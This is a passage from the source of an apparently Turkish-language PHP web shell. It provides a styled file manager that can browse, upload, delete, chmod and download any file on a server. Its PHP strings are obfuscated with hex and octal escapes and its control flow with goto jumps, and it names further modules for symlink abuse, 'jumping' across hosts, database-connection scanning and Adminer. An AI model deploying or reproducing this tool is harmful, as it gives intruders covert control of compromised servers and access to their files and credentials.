box-shadow: 0 0 30px rgba(179,0,255,0.08); } .fm-tool-group input { flex: 1; min-width: 30px; padding: 4px 6px; background: transparent; border: none; color: #e0e8f0; font-size: 9px; height: 24px; outline: none; } .fm-tool-group input::placeholder { color: #5a1a7a; font-size: 8px; } .fm-tool-group input:focus { border-bottom: 1px solid #b300ff; box-shadow: 0 5px 20px rgba(179,0,255,0.05); } .fm-tool-group button { padding: 3px 10px; background: rgba(10,0,16,0.85); border: 1px solid #b300ff44; border-radius: 4px; color: #5a2a7a; cursor: pointer; font-size: 9px; height: 26px; display: flex; align-items: center; gap: 4px; transition: all 0.3s; white-space: nowrap; font-family: 'JetBrains Mono', monospace; } .fm-tool-group button:hover { background: #b300ff; color: #0a0010; border-color: #b300ff; box-shadow: 0 0 20px rgba(179,0,255,0.2); transform: scale(1.05); } .fm-tool-group form { display: flex; gap: 3px; width: 100%; align-items: center; } /* ===== DOSYA YÜKLE BUTONU ÖZEL STİL ===== */ .upload-btn-wrapper { display: flex; gap: 3px; width: 100%; align-items: center; } .upload-btn-wrapper .upload-btn { width: 100%; justify-content: center; background: linear-gradient(135deg, rgba(179,0,255,0.15), rgba(255,0,255,0.05)); border: 1px solid #b300ff66; color: #b300ff; font-weight: 700; letter-spacing: 0.3px; text-shadow: 0 0 20px rgba(179,0,255,0.2); } .upload-btn-wrapper .upload-btn:hover { background: linear-gradient(135deg, #b300ff, #8f00cc); color: #0a0010; border-color: #b300ff; box-shadow: 0 0 40px rgba(179,0,255,0.3), inset 0 0 20px rgba(255,255,255,0.1); transform: scale(1.05); } .upload-btn-wrapper .upload-btn i { animation: uploadPulse 2s ease-in-out infinite; } @keyframes uploadPulse { 0%, 100% { transform: scale(1); } 50% { transform: scale(1.1) rotate(-5deg); } } /* ===== STATS ===== */ .fm-stats { display: flex; gap: 16px; padding: 4px 4px 10px 4px; font-size: 8px; color: #5a1a7a; position: relative; z-index: 1; } .fm-stats span i { color: #b300ff; margin-right: 4px; } .fm-stats .val { color: #b0c4de; font-weight: 700; } /* ===== FILE GRID ===== */ .fm-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(90px, 1fr)); gap: 8px; position: relative; z-index: 1; } .fm-item { background: rgba(10,0,16,0.85); border: 1px solid #b300ff44; border-radius: 10px; padding: 8px 4px; text-align: center; transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); cursor: pointer; position: relative; backdrop-filter: blur(10px); animation: itemAppear 0.4s ease backwards; } @keyframes itemAppear { from { opacity: 0; transform: scale(0.8) translateY(15px); } to { opacity: 1; transform: scale(1) translateY(0); } } .fm-item::before { content: ''; position: absolute; top: -1px; left: -1px; right: -1px; bottom: -1px; border-radius: 10px; background: linear-gradient(135deg, #b300ff, transparent, #b300ff); opacity: 0; transition: 0.5s; z-index: -1; } .fm-item:hover::before { opacity: 0.2; } .fm-item:hover { border-color: #b300ff; transform: translateY(-4px) scale(1.02); box-shadow: 0 8px 40px rgba(179,0,255,0.12), 0 0 60px rgba(179,0,255,0.04); } .fm-item .icon { font-size: 26px; display: block; margin: 4px 0; transition: 0.4s; filter: drop-shadow(0 0 10px rgba(179,0,255,0)); } .fm-item:hover .icon { filter: drop-shadow(0 0 30px rgba(179,0,255,0.2)); transform: scale(1.1) rotate(-3deg); } .fm-item .name { font-size: 8px; color: #b0c4de; word-break: break-all; line-height: 1.2; max-height: 24px; overflow: hidden; } .fm-item .info { font-size: 7px; color: #5a1a7a; margin-top: 2px; } .fm-item .perm { font-size: 6px; color: #3a0a5a; font-family: monospace; } /* ===== HOVER MENÜ ===== */ .fm-item .actions { position: absolute; top: 3px; right: 3px; display: none; gap: 2px; background: rgba(10,0,16,0.95); padding: 3px; border-radius: 6px; border: 1px solid #b300ff44; backdrop-filter: blur(10px); animation: menuAppear 0.3s ease; } @keyframes menuAppear { from { opacity: 0; transform: scale(0.8); } to { opacity: 1; transform: scale(1); } } .fm-item:hover .actions { display: flex; } .fm-item .actions button, .fm-item .actions a { padding: 2px 6px; background: transparent; border: 1px solid transparent; border-radius: 4px; color: #5a2a7a; cursor: pointer; font-size: 8px; text-decoration: none; transition: all 0.3s; line-height: 16px; font-family: 'JetBrains Mono', monospace; } .fm-item .actions button:hover, .fm-item .actions a:hover { background: #b300ff; color: #0a0010; border-color: #b300ff; box-shadow: 0 0 20px rgba(179,0,255,0.2); transform: scale(1.1); } .fm-item .actions .del:hover { background: #b300ff; color: #0a0010; border-color: #b300ff; box-shadow: 0 0 20px rgba(179,0,255,0.3); } .fm-item .actions .chmod:hover { background: #ffd700; color: #0a0010; border-color: #ffd700; box-shadow: 0 0 20px rgba(255,215,0,0.3); } /* ===== CHECKBOX ===== */ .fm-item .checkbox { position: absolute; bottom: 3px; left: 3px; display: none; } .fm-item:hover .checkbox { display: block; } .fm-item .checkbox input[type="checkbox"] { width: 14px; height: 14px; cursor: pointer; accent-color: #b300ff; filter: drop-shadow(0 0 10px rgba(179,0,255,0.2)); } /* ===== KLASÖR ===== */ .fm-item.folder { border-color: #ffd70044; } .fm-item.folder .icon { color: #ffd700; filter: drop-shadow(0 0 10px rgba(255,215,0,0.1)); } .fm-item.folder:hover { border-color: #ffd700; box-shadow: 0 8px 40px rgba(255,215,0,0.08); } .fm-item.folder:hover .icon { filter: drop-shadow(0 0 30px rgba(255,215,0,0.2)); } /* ===== MODAL ===== */ .fm-modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.9); z-index: 9999; justify-content: center; align-items: center; backdrop-filter: blur(20px); } .fm-modal.active { display: flex; animation: modalFade 0.4s ease; } @keyframes modalFade { from { opacity: 0; transform: scale(0.9) translateY(20px); } to { opacity: 1; transform: scale(1) translateY(0); } } .fm-modal-box { background: rgba(10,0,16,0.95); border: 2px solid #b300ff; border-radius: 12px; padding: 24px 28px; max-width: 400px; width: 90%; box-shadow: 0 0 80px rgba(179,0,255,0.1), 0 0 150px rgba(179,0,255,0.04); position: relative; overflow: hidden; } .fm-modal-box::before { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(circle at center, rgba(179,0,255,0.04), transparent 70%); animation: modalGlow 6s ease-in-out infinite; } @keyframes modalGlow { 0%, 100% { transform: rotate(0deg); } 50% { transform: rotate(180deg); } } .fm-modal-box h4 { color: #b300ff; font-size: 14px; margin-bottom: 12px; position: relative; z-index: 1; display: flex; align-items: center; gap: 8px; } .fm-modal-box h4 i { font-size: 16px; animation: iconPulse 2s ease-in-out infinite; } .fm-modal-box input { width: 100%; padding: 8px 12px; background: rgba(10,0,16,0.9); border: 1px solid #b300ff44; border-radius: 6px; color: #e0e8f0; font-size: 11px; margin-bottom: 10px; font-family: 'JetBrains Mono', monospace; outline: none; transition: 0.3s; position: relative; z-index: 1; } .fm-modal-box input:focus { border-color: #b300ff; box-shadow: 0 0 30px rgba(179,0,255,0.08); } .fm-modal-actions { display: flex; gap: 6px; position: relative; z-index: 1; } .fm-modal-actions button { padding: 6px 18px; border: none; border-radius: 6px; cursor: pointer; font-size: 10px; font-family: 'JetBrains Mono', monospace; font-weight: 700; transition: all 0.3s; } .fm-modal-actions .btn-primary { background: #b300ff; color: #0a0010; box-shadow: 0 0 30px rgba(179,0,255,0.15); } .fm-modal-actions .btn-primary:hover { background: #8f00cc; transform: scale(1.05); box-shadow: 0 0 50px rgba(179,0,255,0.25); } .fm-modal-actions .btn-cancel { background: rgba(10,0,16,0.9); color: #5a2a7a; border: 1px solid #b300ff44; } .fm-modal-actions .btn-cancel:hover { border-color: #b300ff; color: #b300ff; transform: scale(1.05); } /* ===== BOŞ DURUM ===== */ .fm-empty { grid-column: 1/-1; text-align: center; padding: 50px 20px; color: #3a0a5a; } .fm-empty i { font-size: 48px; display: block; margin-bottom: 12px; opacity: 0.3; color: #b300ff; animation: iconPulse 3s ease-in-out infinite; } .fm-empty .title { color: #b0c4de; font-size: 14px; } .fm-empty .sub { color: #3a0a5a; font-size: 10px; margin-top: 4px; } /* ===== RESPONSIVE ===== */ @media (max-width: 768px) { .fm-toolbar { grid-template-columns: 1fr 1fr; } .fm-grid { grid-template-columns: repeat(auto-fill, minmax(70px, 1fr)); } } @media (max-width: 480px) { .fm-header { flex-direction: column; gap: 6px; align-items: stretch; } .fm-toolbar { grid-template-columns: 1fr; } .fm-grid { grid-template-columns: repeat(auto-fill, minmax(60px, 1fr)); } .fm-item { padding: 6px 3px; } .fm-item .icon { font-size: 20px; } .fm-item .name { font-size: 7px; } } </style> <!-- ============================================================ --> <!-- ===== HTML ===== --> <!-- ============================================================ --> <div class="file-manager"> <!-- ===== PARTİKÜLLER ===== --> <div class="particles" id="particles"></div> <!-- ===== HEADER ===== --> <div class="fm-header"> <div class="fm-path"> <i class="fas fa-folder-open"></i> <span><?php echo htmlspecialchars($dir); ?> </span> <span class="count-badge"><?php echo count($files); ?> </span> </div> <div class="fm-actions"> <a href="?action=files&dir=<?php echo urlencode(dirname($dir)); ?> " class="fm-btn" title="Üst Dizin"><i class="fas fa-arrow-up"></i></a> <a href="?action=files&dir=<?php echo urlencode(getcwd()); ?> " class="fm-btn" title="Ana Dizin"><i class="fas fa-home"></i></a> <button class="fm-btn" onclick="location.reload()" title="Yenile"><i class="fas fa-sync"></i></button> </div> </div> <!-- ===== TOOLBAR ===== --> <div class="fm-toolbar"> <!-- Klasör Oluştur --> <div class="fm-tool-group"> <input type="text" id="newFolderInput" placeholder="📁 Klasör adı..." onkeydown="if(event.key==='Enter') createFolder();"> <button onclick="createFolder()"> <i class="fas fa-folder-plus"></i> Klasör </button> </div> <!-- Dosya Oluştur --> <div class="fm-tool-group"> <input type="text" id="newFileInput" placeholder="📄 Dosya adı..." onkeydown="if(event.key==='Enter') createFile();"> <button onclick="createFile()"> <i class="fas fa-file-plus"></i> Dosya </button> </div> <!-- Dosya Yükle - YENİ ŞIK TASARIM --> <div class="fm-tool-group" style="border-color: #b300ff66; background: linear-gradient(135deg, rgba(179,0,255,0.05), rgba(255,0,255,0.02));"> <form method="POST" enctype="multipart/form-data" style="display:flex;gap:3px;width:100%;align-items:center;"> <input type="file" name="upload_file" id="uploadInput" style="display:none;" onchange="this.form.submit();"> <div class="upload-btn-wrapper"> <button type="button" class="fm-btn upload-btn" onclick="document.getElementById('uploadInput').click();" style="border: none; background: linear-gradient(135deg, rgba(179,0,255,0.2), rgba(255,0,255,0.05)); color: #b300ff; box-shadow: 0 0 30px rgba(179,0,255,0.1);"> <i class="fas fa-cloud-upload-alt" style="font-size: 12px;"></i> <span style="font-weight: 700;">Yükle</span> </button> </div> </form> </div> <!-- Arama --> <div class="fm-tool-group"> <input type="text" id="searchInput" placeholder="🔍 Ara..." oninput="filterFiles(this.value)"> <button onclick="document.getElementById('searchInput').value='';filterFiles('')"> <i class="fas fa-times"></i> </button> </div> <!-- Görünüm ve Toplu Sil --> <div class="fm-tool-group" style="justify-content:flex-end;"> <button onclick="toggleView()" title="Grid Görünüm"><i class="fas fa-th-large"></i></button> <button onclick="toggleView()" title="Liste Görünüm"><i class="fas fa-list"></i></button> <button onclick="massDeleteConfirm()" title="Seçilileri Sil" style="color:#b300ff;"> <i class="fas fa-trash-alt"></i> </button> </div> </div> <!-- ===== İSTATİSTİKLER ===== --> <?php $totalDirs = 0; $totalFiles = 0; $totalSize = 0; $items = array(); foreach ($files as $file) { if ($file == "\56" || $file == "\x2e\56") { continue; } $full = $dir . "\57" . $file; if (!file_exists($full)) { continue; } $isDir = is_dir($full); $info = safeFileInfo($full); $items[] = array("\x6e\x61\x6d\x65" => $file, "\146\x75\x6c\x6c" => $full, "\151\163\x44\151\x72" => $isDir, "\163\151\172\x65" => $info["\x73\151\172\x65"], "\160\x65\162\155" => $info["\160\x65\162\155"], "\x6f\x77\x6e\145\x72" => $info["\x6f\x77\156\145\x72"], "\155\164\x69\x6d\x65" => $info["\155\164\x69\x6d\x65"]); if ($isDir) { $totalDirs++; } else { $totalFiles++; $totalSize += $info["\x73\x69\x7a\x65"]; } } ?> <div class="fm-stats"> <span><i class="fas fa-folder"></i> Klasör: <span class="val"><?php echo $totalDirs; ?> </span></span> <span><i class="fas fa-file"></i> Dosya: <span class="val"><?php echo $totalFiles; ?> </span></span> <span><i class="fas fa-weight-hanging"></i> Toplam: <span class="val"><?php echo formatSize($totalSize); ?> </span></span> <span><i class="fas fa-user"></i> <?php echo getCurrentUser(); ?> </span> <span><i class="fas fa-clock"></i> <?php echo date("\x48\x3a\x69\72\x73"); ?> </span> </div> <!-- ===== TOPLU SİLME FORMU ===== --> <form id="massDeleteForm" method="POST"> <input type="hidden" name="mass_delete" value="1"> <div id="selectedFilesContainer"></div> </form> <!-- ===== FILE GRID ===== --> <div class="fm-grid" id="fileGrid"> <?php usort($items, function ($a, $b) { if ($a["\x69\163\x44\x69\162"] && !$b["\x69\x73\104\x69\162"]) { return -1; } if (!$a["\151\x73\x44\151\162"] && $b["\151\163\x44\x69\162"]) { return 1; } return strcasecmp($a["\156\x61\x6d\x65"], $b["\156\141\155\x65"]); }); if (empty($items)) { ?> <div class="fm-empty"> <i class="fas fa-folder-open"></i> <div class="title"> Bu dizin boş</div> <div class="sub">Yeni dosya veya klasör oluşturmak için araçları kullanın</div> </div> <?php } else { foreach ($items as $index => $item) { $full = $item["\146\165\x6c\154"]; $file = $item["\156\x61\x6d\145"]; $isDir = $item["\x69\163\x44\151\162"]; $size = $item["\x73\151\172\145"]; $perm = $item["\x70\x65\162\155"]; $owner = $item["\157\167\156\x65\162"]; $fileId = "\x66" . $index . "\137" . md5($full); $icon = getFileIcon($file, $isDir); $color = getFileColor($file, $isDir); $sizeDisplay = $isDir ? "\360\x9f\x93\x81" : formatSize($size); $delay = $index * 0.03; $displayName = strlen($file) > 14 ? substr($file, 0, 12) . "\342\x80\246" : $file; ?> <div class="fm-item <?php echo $isDir ? "\146\x6f\154\144\145\x72" : ''; ?> " data-name="<?php echo strtolower($file); ?> " data-path="<?php echo htmlspecialchars($full); ?> " style="animation-delay: <?php echo $delay; ?> s;"> <!-- İkon --> <div class="icon" style="color:<?php echo $color; ?> ;cursor:pointer;" onclick="location.href='?action=files&<?php echo $isDir ? "\x64\x69\x72" : "\166\x69\x65\x77"; ?> =<?php echo urlencode($full); ?> '"> <i class="fas <?php echo $icon; ?> " style="font-size:26px;"></i> </div> <!-- Dosya Adı --> <div class="name" style="cursor:pointer;" onclick="location.href='?action=files&<?php echo $isDir ? "\x64\x69\x72" : "\x76\x69\145\x77"; ?> =<?php echo urlencode($full); ?> '"> <?php echo htmlspecialchars($displayName); ?> </div> <!-- Boyut --> <div class="info" style="cursor:pointer;" onclick="location.href='?action=files&<?php echo $isDir ? "\x64\151\x72" : "\166\x69\145\167"; ?> =<?php echo urlencode($full); ?> '"> <?php echo $sizeDisplay; ?> </div> <!-- İzin --> <div class="perm"><?php echo $perm; ?> </div> <!-- Checkbox --> <div class="checkbox"> <input type="checkbox" class="file-checkbox" data-path="<?php echo htmlspecialchars($full); ?> " onclick="event.stopPropagation();updateMassDelete();"> </div> <!-- Hover Menü --> <div class="actions"> <?php if (!$isDir) { ?> <a href="?action=files&view=<?php echo urlencode($full); ?> " onclick="event.stopPropagation();" title="Görüntüle"><i class="fas fa-eye"></i></a> <a href="?action=files&dir=<?php echo urlencode($dir); ?> &download=<?php echo urlencode($full); ?> " onclick="event.stopPropagation();" title="İndir"><i class="fas fa-download"></i></a> <?php } ?> <button type="button" onclick="event.stopPropagation(); showRename('<?php echo htmlspecialchars($full); ?> ', '<?php echo htmlspecialchars($file); ?> ');" title="Yeniden Adlandır"><i class="fas fa-pen"></i></button> <button type="button" onclick="event.stopPropagation(); showCopy('<?php echo htmlspecialchars($full); ?> ', '<?php echo htmlspecialchars($file); ?> ');" title="Kopyala"><i class="fas fa-copy"></i></button> <button type="button" onclick="event.stopPropagation(); showMove('<?php echo htmlspecialchars($full); ?> ', '<?php echo htmlspecialchars($file); ?> ');" title="Taşı"><i class="fas fa-arrows-alt"></i></button> <button type="button" class="chmod" onclick="event.stopPropagation(); showChmod('<?php echo htmlspecialchars($full); ?> ', '<?php echo $perm; ?> ');" title="İzin Değiştir"><i class="fas fa-lock"></i></button> <button type="button" class="del" onclick="event.stopPropagation(); deleteFile('<?php echo htmlspecialchars($full); ?> ');" title="Sil"><i class="fas fa-trash"></i></button> </div> </div> <?php } } ?> </div> <!-- ============================================================ --> <!-- ===== MODALLAR ===== --> <!-- ============================================================ --> <!-- Yeniden Adlandır --> <div class="fm-modal" id="renameModal"> <div class="fm-modal-box"> <h4><i class="fas fa-pen" style="color:#b300ff;"></i> Yeniden Adlandır</h4> <form method="POST" id="renameForm" onsubmit="return validateRename();"> <input type="hidden" name="rename_file" value="1"> <input type="hidden" name="old_name" id="renameOld"> <input type="text" name="new_name" id="renameNew" placeholder="Yeni ad" required> <div class="fm-modal-actions"> <button type="submit" class="btn-primary"><i class="fas fa-check"></i> Değiştir</button> <button type="button" class="btn-cancel" onclick="closeModal('renameModal')">İptal</button> </div> </form> </div> </div> <!-- Kopyala --> <div class="fm-modal" id="copyModal"> <div class="fm-modal-box"> <h4><i class="fas fa-copy" style="color:#b300ff;"></i> Dosyayı Kopyala</h4> <form method="POST" id="copyForm" onsubmit="return validateCopy();"> <input type="hidden" name="copy_file" value="1"> <input type="hidden" name="source_file" id="copySource"> <input type="text" name="dest_name" id="copyDest" placeholder="Yeni dosya adı" required> <div class="fm-modal-actions"> <button type="submit" class="btn-primary"><i class="fas fa-check"></i> Kopyala</button> <button type="button" class="btn-cancel" onclick="closeModal('copyModal')">İptal</button> </div> </form> </div> </div> <!-- Taşı --> <div class="fm-modal" id="moveModal"> <div class="fm-modal-box"> <h4><i class="fas fa-arrows-alt" style="color:#b300ff;"></i> Dosyayı Taşı</h4> <form method="POST" id="moveForm" onsubmit="return validateMove();"> <input type="hidden" name="move_file" value="1"> <input type="hidden" name="source_file" id="moveSource"> <input type="text" name="dest_name" id="moveDest" placeholder="Yeni dosya adı" required> <div class="fm-modal-actions"> <button type="submit" class="btn-primary"><i class="fas fa-check"></i> Taşı</button> <button type="button" class="btn-cancel" onclick="closeModal('moveModal')">İptal</button> </div> </form> </div> </div> <!-- Chmod --> <div class="fm-modal" id="chmodModal"> <div class="fm-modal-box"> <h4><i class="fas fa-lock" style="color:#ffd700;"></i> 💛 İzinleri Değiştir</h4> <form method="POST" id="chmodForm" onsubmit="return validateChmod();"> <input type="hidden" name="chmod_file" id="chmodPath"> <input type="text" name="chmod_perms" id="chmodPerms" placeholder="Örn: 0755" value="0755" required> <div class="fm-modal-actions"> <button type="submit" class="btn-primary"><i class="fas fa-check"></i> Değiştir</button> <button type="button" class="btn-cancel" onclick="closeModal('chmodModal')">İptal</button> </div> </form> </div> </div> </div><!-- /file-manager --> <!-- ============================================================ --> <!-- ===== JAVASCRIPT ===== --> <!-- ============================================================ --> <script> // ===== PARTİKÜL EFEKTİ ===== (function createParticles() { const container = document.getElementById('particles'); if (!container) return; for (let i = 0; i < 25; i++) { const span = document.createElement('span'); span.style.left = Math.random() * 100 + '%'; span.style.animationDuration = (15 + Math.random() * 20) + 's'; span.style.animationDelay = (Math.random() * 20) + 's'; span.style.width = (1 + Math.random() * 3) + 'px'; span.style.height = span.style.width; span.style.opacity = 0.15 + Math.random() * 0.25; container.appendChild(span); } })(); // ===== SİLME ===== function deleteFile(filePath) { if (confirm(' "' + filePath.split('/').pop() + '" silmek istediğine emin misin?')) { var form = document.createElement('form'); form.method = 'POST'; form.innerHTML = '<input type="hidden" name="delete_file" value="1"><input type="hidden" name="file_path" value="' + encodeURIComponent(filePath) + '">'; document.body.appendChild(form); form.submit(); } return false; } // ===== TOPLU SİLME ===== function massDeleteConfirm() { var selected = document.querySelectorAll('.file-checkbox:checked'); if (selected.length === 0) { alert(' Lütfen silmek için dosya seçin!'); return false; } if (confirm(' ' + selected.length + ' dosyayı silmek istediğine emin misin?')) { document.getElementById('massDeleteForm').submit(); } return false; } // ===== YENİDEN ADLANDIR ===== function showRename(fullPath, fileName) { document.getElementById('renameOld').value = fullPath; document.getElementById('renameNew').value = fileName; openModal('renameModal'); return false; } // ===== KOPYALA ===== function showCopy(fullPath, fileName) { var baseName = fileName; var ext = baseName.includes('.') ? '.' + baseName.split('.').pop() : ''; var nameWithoutExt = baseName.includes('.') ? baseName.substring(0, baseName.lastIndexOf('.')) : baseName; document.getElementById('copySource').value = fullPath; document.getElementById('copyDest').value = nameWithoutExt + '_copy' + ext; openModal('copyModal'); return false; } // ===== TAŞI ===== function showMove(fullPath, fileName) { document.getElementById('moveSource').value = fullPath; document.getElementById('moveDest').value = fileName; openModal('moveModal'); return false; } // ===== CHMOD ===== function showChmod(fullPath, currentPerms) { document.getElementById('chmodPath').value = fullPath; document.getElementById('chmodPerms').value = currentPerms; openModal('chmodModal'); return false; } // ===== MODAL ===== function openModal(id) { document.getElementById(id).classList.add('active'); var input = document.getElementById(id).querySelector('input[type="text"]'); if (input) { setTimeout(function(){ input.focus(); input.select(); }, 150); } } function closeModal(id) { document.getElementById(id).classList.remove('active'); } document.querySelectorAll('.fm-modal').forEach(function(modal) { modal.addEventListener('click', function(e) { if (e.target === this) this.classList.remove('active'); }); }); document.addEventListener('keydown', function(e) { if (e.key === 'Escape') { document.querySelectorAll('.fm-modal.active').forEach(function(m) { m.classList.remove('active'); }); } }); // ===== KLASÖR OLUŞTUR ===== function createFolder() { var name = document.getElementById('newFolderInput').value.trim(); if (!name) { alert(' Klasör adı girin!'); return false; } var form = document.createElement('form'); form.method = 'POST'; form.innerHTML = '<input type="hidden" name="create_folder" value="1"><input type="hidden" name="folder_name" value="' + encodeURIComponent(name) + '">'; document.body.appendChild(form); form.submit(); return false; } // ===== DOSYA OLUŞTUR ===== function createFile() { var name = document.getElementById('newFileInput').value.trim(); if (!name) { alert(' Dosya adı girin!'); return false; } var form = document.createElement('form'); form.method = 'POST'; form.innerHTML = '<input type="hidden" name="create_file" value="1"><input type="hidden" name="file_name" value="' + encodeURIComponent(name) + '"><input type="hidden" name="file_content" value="">'; document.body.appendChild(form); form.submit(); return false; } // ===== ARAMA ===== function filterFiles(query) { query = query.toLowerCase(); document.querySelectorAll('.fm-item').forEach(function(item) { var name = item.getAttribute('data-name') || ''; item.style.display = name.includes(query) ? '' : 'none'; }); } // ===== TOPLU SİLME GÜNCELLEME ===== function updateMassDelete() { var selected = []; document.querySelectorAll('.file-checkbox:checked').forEach(function(cb) { selected.push(cb.getAttribute('data-path')); }); var container = document.getElementById('selectedFilesContainer'); container.innerHTML = ''; selected.forEach(function(path) { var input = document.createElement('input'); input.type = 'hidden'; input.name = 'selected_files[]'; input.value = path; container.appendChild(input); }); } // ===== GÖRÜNÜM DEĞİŞTİR ===== var viewMode = 'grid'; function toggleView() { var grid = document.getElementById('fileGrid'); if (viewMode === 'grid') { grid.style.gridTemplateColumns = '1fr'; grid.querySelectorAll('.fm-item').forEach(function(item) { item.style.display = 'flex'; item.style.alignItems = 'center'; item.style.padding = '4px 10px'; item.style.textAlign = 'left'; item.style.gap = '12px'; var icon = item.querySelector('.icon'); if (icon) icon.style.fontSize = '16px'; var name = item.querySelector('.name'); if (name) name.style.fontSize = '10px'; var info = item.querySelector('.info'); if (info) info.style.fontSize = '9px'; var perm = item.querySelector('.perm'); if (perm) perm.style.fontSize = '8px'; }); viewMode = 'list'; } else { grid.style.gridTemplateColumns = 'repeat(auto-fill, minmax(90px, 1fr))'; grid.querySelectorAll('.fm-item').forEach(function(item) { item.style.display = ''; item.style.alignItems = ''; item.style.padding = ''; item.style.textAlign = ''; item.style.gap = ''; var icon = item.querySelector('.icon'); if (icon) icon.style.fontSize = '26px'; var name = item.querySelector('.name'); if (name) name.style.fontSize = '8px'; var info = item.querySelector('.info'); if (info) info.style.fontSize = '7px'; var perm = item.querySelector('.perm'); if (perm) perm.style.fontSize = '6px'; }); viewMode = 'grid'; } } // ===== ENTER İLE İŞLEM ===== document.addEventListener('keydown', function(e) { if (e.key === 'Enter') { if (document.activeElement && document.activeElement.id === 'newFolderInput') { e.preventDefault(); createFolder(); } if (document.activeElement && document.activeElement.id === 'newFileInput') { e.preventDefault(); createFile(); } if (document.activeElement && document.activeElement.id === 'searchInput') { e.preventDefault(); filterFiles(document.activeElement.value); } } }); // ===== DOSYA YÜKLEME DRAG-DROP ===== document.addEventListener('dragover', function(e) { e.preventDefault(); }); document.addEventListener('drop', function(e) { e.preventDefault(); var files = e.dataTransfer.files; if (files.length > 0) { var input = document.getElementById('uploadInput'); if (input) { input.files = files; input.form.submit(); } } }); // ===== ENTER İLE MODAL GÖNDERME ===== document.querySelectorAll('.fm-modal input[type="text"]').forEach(function(input) { input.addEventListener('keydown', function(e) { if (e.key === 'Enter') { e.preventDefault(); var btn = this.closest('.fm-modal-box').querySelector('.btn-primary'); if (btn) btn.click(); } }); }); // ===== MODAL DOĞRULAMA FONKSİYONLARI ===== function validateRename() { var val = document.getElementById('renameNew').value.trim(); if (!val) { alert(' Lütfen yeni ad girin!'); return false; } return true; } function validateCopy() { var val = document.getElementById('copyDest').value.trim(); if (!val) { alert(' Lütfen yeni dosya adı girin!'); return false; } return true; } function validateMove() { var val = document.getElementById('moveDest').value.trim(); if (!val) { alert(' Lütfen yeni dosya adı girin!'); return false; } return true; } function validateChmod() { var val = document.getElementById('chmodPerms').value.trim(); if (!val || !/^[0-7]{3,4}$/.test(val)) { alert(' Lütfen geçerli bir izin girin! (Örn: 0755, 644)'); return false; } return true; } // ===== MESAJ OTOMATİK KAYBOL ===== setTimeout(function() { var msg = document.querySelector('.alert'); if (msg) { msg.style.transition = 'opacity 0.8s ease'; msg.style.opacity = '0'; setTimeout(function() { if (msg) msg.style.display = 'none'; }, 800); } }, 5000); console.log(' FILES V4 loaded!'); console.log(' Dizin: <?php echo htmlspecialchars($dir); ?> '); </script> <!-- ============================================================ --> <!-- ===== DOSYA İNDİRME ===== --> <!-- ============================================================ --> <?php if (isset($_GET["\x64\x6f\167\156\x6c\x6f\x61\x64"]) && is_file($_GET["\144\x6f\167\x6e\x6c\157\x61\x64"]) && file_exists($_GET["\x64\157\167\x6e\x6c\x6f\141\x64"])) { $file = $_GET["\144\x6f\167\x6e\154\x6f\x61\144"]; header("\x43\x6f\x6e\x74\145\x6e\x74\55\104\145\x73\x63\162\x69\x70\x74\151\157\156\72\x20\106\x69\154\x65\40\x54\162\141\x6e\x73\x66\x65\162"); header("\103\157\156\x74\x65\156\x74\x2d\x54\171\x70\145\x3a\40\141\x70\x70\154\x69\x63\x61\x74\x69\157\156\x2f\157\143\x74\x65\x74\x2d\163\164\162\x65\141\x6d"); header("\103\x6f\156\x74\x65\x6e\x74\55\104\x69\x73\x70\x6f\x73\x69\164\x69\157\156\72\40\141\x74\x74\x61\x63\x68\155\x65\x6e\164\x3b\x20\x66\151\x6c\x65\156\x61\155\x65\x3d\x22" . basename($file) . "\x22"); header("\x43\x6f\x6e\x74\145\156\164\x2d\114\145\156\x67\164\x68\x3a\x20" . filesize($file)); readfile($file); die; } } goto s78I0; ql1UL: ?> <!-- ============================================================ --> <!-- ===== SYMLINK ===== --> <!-- ============================================================ --> <?php goto Vfz56; OVJin: ?> "><i class="fas fa-database"></i><span>Adminer</span></a> <a href="?action=dbscan" class="<?php goto y5nNO; NC8ce: ?> <!-- ============================================================ --> <!-- ===== GELİŞMİŞ JUMPING - TAM VE HATASIZ ===== --> <!-- ============================================================ --> <?php goto vfnUy; o80YA: ?> <!-- ============================================================ --> <!-- ===== DB SCAN - VERİTABANI BAĞLANTI BULUCU ===== --> <!-- ============================================================ --> <?php goto ZaO8o; A2PgG: if ($action == "\x63\150\155\157\x64") { ?> <style> :root { --neon-mor: #b300ff; --neon-mor-glow: rgba(179, 0, 255, 0.2); --neon-pembe: #ff00aa; --neon-mavi: #00d4ff; --neon-yesil: #00ff88; --neon-turuncu: #ff6a00; --neon-sari: #ffd700; --neon-kirmizi: #ff0044; } /* ===== PARTİKÜL ARKA PLAN ===== */ #particle-canvas-chmod { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 0; pointer-events: none; opacity: 0.3; } .chmod-wrapper { position: relative; z-index: 1; padding: 10px; } /* ===== CHMOD CONTAINER ===== */ .chmod-container { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; padding: 10px 0; } /* ===== CHMOD CARDS ===== */ .chmod-card { background: rgba(10, 0, 21, 0.85); backdrop-filter: blur(10px); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 15px; padding: 20px; transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); position: relative; overflow: hidden; } .chmod-card::before { content: ''; position: absolute; top: -100%; left: -100%; width: 300%; height: 300%; background: radial-gradient(circle at center, rgba(179, 0, 255, 0.03) 0%, transparent 70%); opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .chmod-card:hover::before { opacity: 1; } .chmod-card:hover { transform: translateY(-8px) scale(1.01); border-color: rgba(179, 0, 255, 0.4); box-shadow: 0 0 30px rgba(179, 0, 255, 0.1), 0 0 60px rgba(179, 0, 255, 0.05), inset 0 0 30px rgba(179, 0, 255, 0.05); } .chmod-card::after { content: ''; position: absolute; top: -1px; left: -1px; right: -1px; bottom: -1px; border-radius: 15px; background: linear-gradient(45deg, transparent 0%, rgba(179, 0, 255, 0.1) 20%, rgba(255, 0, 170, 0.05) 40%, transparent 60%, rgba(0, 212, 255, 0.05) 80%, transparent 100% ); z-index: -1; opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .chmod-card:hover::after { opacity: 1; } /* ===== CARD HEADER ===== */ .chmod-card .card-header { display: flex; align-items: center; gap: 12px; margin-bottom: 15px; 